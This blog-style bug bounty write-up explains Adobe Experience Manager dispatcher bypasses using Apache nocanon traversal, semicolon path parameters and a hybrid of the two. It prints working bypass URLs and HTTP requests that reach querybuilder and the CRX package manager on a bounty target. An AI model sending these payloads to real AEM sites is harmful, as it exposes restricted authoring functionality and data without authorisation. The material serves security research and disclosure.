Critical SeverityAdobe AEM$10,000+ Bounties

The Complete Guide to Adobe Experience Manager (AEM) Dispatcher Bypasses

An in-depth technical analysis of critical vulnerabilities in AEM, including Dispatcher Bypasses and a real-world PoC on a Bugcrowd target.

M
Muhammad Waseem
May 13, 202615 min read

Assaalam o Alaikum :)

My name is Muhammad Waseem. Today, we are going to discuss one of the most critical vulnerabilities in modern enterprise web architecture: Adobe Experience Manager (AEM) Dispatcher Bypasses.

Let's start.

01: The Spark of Research

I was normally scrolling through Twitter when I noticed a post from Shubham Shah (infosec_au). In this post, he demonstrated how the Adobe AEM Dispatcher could be bypassed.

Research Sourcex.com/infosec_au/status/1977916711295709253
View Post
Twitter Research Post
Shubham Shah (infosec_au) sharing AEM dispatcher bypass insights

The post mentioned a detailed research center link that provides deep technical insights into AEM bugs:

Technical Articleslcyber.io/research-center/...
Read Research
SlCyber Research Article

02: Analyzing the Foundation

"Adobe Experience Manager is one of the most popular CMSes around. Given its widespread use throughout the enterprise, you likely interact with AEM-based sites almost every day."

AEM Popularity
AEM is widely used across major enterprises

After reading this, I began to see the key things mentioned in the blog and how they apply to modern bug hunting.

03: The Core of AEM Endpoints

The core of AEM exposes plenty of endpoints that leak information about how the site is structured. Some of the most famous, such as /bin/querybuilder.json, allow queries of all the "nodes" (page content) of the application.

Obviously, as a website running AEM, you don’t want all this functionality intended for authors to be exposed to the general public. And indeed, if you visit /bin/querybuilder.json on a properly secured AEM site, you should be blocked.

AEM Query Builder Endpoint

04: Standard Dispatcher Configuration

Here’s a sample of the out-of-the-box (OOTB) dispatcher configuration for cloud AEM instances. It starts with everything blocked as a safeguard and opens only what customers need.

Dispatcher Config
conf
# deny everything and allow specific entries
# Start with everything blocked as a safeguard and open things customers need and what's safe OOTB
/0001 { /type "deny"  /url "*" }

# This rule allows content to be access
/0010 { /type "allow" /extension '(css|eot|gif|ico|jpeg|jpg|js|gif|pdf|png|svg|swf|ttf|woff|woff2|html|mp4|mov|m4v)' /path "/content/*" }  # disable this rule to allow mapped content only

# Enable specific mime types in non-public content directories
/0011 { /type "allow" /method "GET" /extension '(css|eot|gif|ico|jpeg|jpg|js|gif|png|svg|swf|ttf|woff|woff2)' }

# Enable clientlibs proxy servlet
/0012 { /type "allow" /method "GET" /url "/etc.clientlibs/*" }
Config Safeguards

05: Dispatcher Bypass #1

Adobe offers two ways to implement the dispatcher: via an Apache configuration and module (disp_apache2.so) or an IIS module. Since the Apache-based setup is vastly more popular, we will focus on attacking this.

Before disassembling the binary module itself, we checked the sample Apache config used by default (and used by all cloud instances). Most paths have checks run through the dispatcher module, but there are a couple of paths Apache handles specially:

apache
# ASSETS-10359 Prevent rewrites and filtering of Delivery API URLs
<LocationMatch "^/adobe/dynamicmedia/deliver/.*">
    ProxyPassMatch http://${AEM_HOST}:${AEM_PORT}
    RewriteEngine Off
</LocationMatch>

# SITES-11040 Do ProxyPassMatch, if caching for GraphQL Persisted Queries is not enabled
<IfDefine !CACHE_GRAPHQL_PERSISTED_QUERIES>
    # SITES-3659 Prevent re-encodes of URLs sent to GraphQL Persisted Queries API endpoint
    <LocationMatch "/graphql/execute.json/.*">
        ProxyPassMatch http://${AEM_HOST}:${AEM_PORT} nocanon
    </LocationMatch>
</IfDefine>

These paths forward the request contents directly to the AEM host via ProxyPassMatch, without running through the dispatcher ruleset at all. Our very first instinct was to use an old traversal trick; the AEM host itself most commonly runs on Jetty, which allows ..;/ as a stand-in for a path traversal.

/adobe/dynamicmedia/deliver/..;/..;/..;/bin/querybuilder.json

The answer as it turns out is no – this style of attack is so popular that Jetty has a specific mitigation; it will not allow ..;/ sequences in the path.

06: Jetty Security Internals

There are a couple of instances with a very old version of Jetty where this may work, but it doesn’t really satisfy our goal of a widespread dispatcher bypass.

I discovered that Jetty specifically blocks ..;/ sequences — this behavior is built into Jetty’s request handling logic.

Jetty Project: ServletContextRequest.java#L213View Source
Jetty Source Code
Jetty's mitigation logic against path traversal

07: The Power of 'nocanon'

Looking at the next LocationMatch is more interesting. Unlike the other rule, this one uses nocanon.

mod_proxy: nocanon

"Normally, mod_proxy will canonicalise ProxyPassed URLs. But this may be incompatible with some backends, particularly those that make use of PATH_INFO. The optional nocanon keyword suppresses this and passes the URL path 'raw' to the backend."

To give a concrete example, in usual operation, Apache will normalize the URL before checking the match. Thus, the URLs /foo and /bar/..%2ffoo are treated exactly the same. However, if nocanon is applied, the proxy passes the raw, un-normalized URL.

/graphql/execute.json/..%2f../bin/querybuilder.json

And it worked! Apache matches the raw URL due to nocanon, since it matches the regex /graphql/execute.json/.*. Then on the backend, Jetty normalizes the URL to /bin/querybuilder.json before passing to AEM.

08: Apache Sling – URL Decomposition

To understand how AEM handles the request, we had to look into **Apache Sling**, the web framework used by AEM. Sling centers a lot of its design around “resources”.

Any time a request comes into Sling, the path is broken up and used to find the corresponding resource. Once Sling has found the resource and checked the user’s permissions, it uses additional information from the path to determine how to handle the actual request.

Sling URL Structure

09: URL Components

Sling parses the incoming URL into several components. For example, /bin/querybuilder.tiny.json;x='hello'/extra decomposes into:

  • Resource Path:/bin/querybuilder
  • Selectors:tiny
  • Extension:json
  • Path Parameter:;x='hello'
  • Suffix:/extra

10: Dispatcher Bypass #2

Analyzing the Apache module in Ghidra revealed the decompose_url function.

c
void decompose_url(char *uri,char **path,char **selectors,char **extension,char **suffix) {
  char *pcVar1;
  char *pcVar2;
  char *pcVar3;
  
  *suffix = (char *)0x0;
  *path = (char *)0x0;
  *extension = (char *)0x0;
  *selectors = (char *)0x0;
  pcVar1 = strdup(uri);
  *path = pcVar1;
  pcVar1 = strchr(pcVar1,L'.');
  if (pcVar1 != (char *)0x0) {
    pcVar2 = strchr(pcVar1,L'/');
    if (pcVar2 != (char *)0x0) {
      pcVar3 = strdup(pcVar2);
      *pcVar2 = '';
      *suffix = pcVar3;
    }
    // ... decomposition logic
  }
  return;
}

What stands out is that the dispatcher module does not consider path parameters! According to the dispatcher, ; is the same as any other character.

11: Exploiting Path Parameters

Consider the URL: /bin/querybuilder.json;x='a/b.xyz/c'

The dispatcher sees an extension of .xyz, but Sling parses it as a call to /bin/querybuilder.json with a parameter.

Bypass Example:

/bin/querybuilder.json;x='a/b.css/c'

The dispatcher allows .css as a whitelisted extension, giving us access to sensitive authoring functionality.

Semicolon Bypass

13: Dispatcher Bypass 2.5 (The Hybrid)

By combining the nocanon bypass with path parameters, we can avoid WAFs that block traversal sequences.

/bin/querybuilder.json;x='x/graphql/execute/json/x'

The unanchored regex in LocationMatch allows this hybrid bypass to work in many tricky situations.

14: Apache Sling – Request Handling

With the dispatcher out of the way, we could now call any endpoint. To understand how Sling finds a handler, it looks at the sling:resourceType property on the resource.

  • /bin/gql/endpoints resolves to EndpointInfoServlet.
  • /libs/granite/omnisearch/components/suggest resolves to OmniSearchSuggestionServlet.

15: How to Audit Servlets

We started our audit by going through each servlet and testing any functionality that seemed suspicious.

Servlet Auditing

If we create a resource at /apps/example with a specific resource type, we can call the servlet directly.

16: Querying the JCR

A helpful technique is to query the JCR for nodes that have the resource type the servlet has been tagged with.

sql
SELECT * FROM [nt:base] WHERE ISDESCENDANTNODE([/libs]) 
AND [sling:resourceType] = 'cq/cloudconfig/oauthservlet'
JCR Query Results

18: Detection Phase

You can use the Wappalyzer browser extension to detect which companies are using AEM.

Chrome ExtensionWappalyzer Technology Profiler
Get Extension

19: Target Selection

I was hunting on Bugcrowd and noticed a high-value target running AEM. I picked it and began deeper exploration.

Target Identification
Selecting the specific AEM target on Bugcrowd

21: Initial Burp Suite Probing

I sent an initial request to check for the query builder endpoint directly.

http
GET /graphql/execute.json/bin/querybuilder.json HTTP/2
Host: target.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ...

Response Returned: HTTP/2 404 Not Found

404 Response

22: Successful Bypass Execution

Then I tried the nocanon bypass with encoded traversal:

http
GET /graphql/execute.json/..%2f../bin/querybuilder.json HTTP/2

Response Returned:

json
{"success":true,"results":0,"total":0,"more":false,"offset":0,"hits":[]}
200 OK Response
Successful bypass confirmed

23: Sensitive Path Discovery

I Googled the Top 10 sensitive paths for AEM and found critical endpoints.

Path Discovery

24: Bypassing the Package Manager

Trying /graphql/execute.json/crx/packmgr/service.jsp directly: Not Allowed.

Not Allowed

Adding ..%2F../ to the bypass: Allowed!

Bypass Allowed
I was able to see how CMD works

25: Accessing index.jsp

The bypass allowed access to the root package manager interface:

/graphql/execute.json/..%2F../crx/packmgr/index.jsp
Access confirmed

26: Listing Packages & Impact

I was able to run an ls command and list all packages on the system:

http
GET /graphql/execute.json/..%2f../crx/packmgr/service.jsp?cmd=ls&limit=10000 HTTP/2
Package Listing
Full package list visibility achieved

Bug Bounty Programs

I submitted my findings on Bugcrowd and HackerOne across multiple different programs.

Bugcrowd Submission

Bugcrowd Submission

Payout

Bugcrowd Payout

27: Moving to HackerOne

H1 Report 1H1 Report 2H1 Report 3

That's it! This is some of my insights. I hope you like it feel free to connect with me.